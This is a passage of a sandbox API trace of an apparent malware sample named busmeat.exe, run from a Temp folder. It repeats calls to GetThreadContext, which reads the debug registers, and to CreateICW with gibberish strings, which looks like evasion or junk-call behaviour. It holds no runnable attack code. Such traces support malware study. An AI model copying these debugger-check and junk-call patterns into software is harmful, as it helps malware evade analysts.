[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.178] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.179] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.179] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.179] GetConsoleCP () returned 0x0
	[0066.179] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.179] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.181] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.181] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.181] GetConsoleCP () returned 0x0
	[0066.181] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.181] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.182] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.182] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.182] GetConsoleCP () returned 0x0
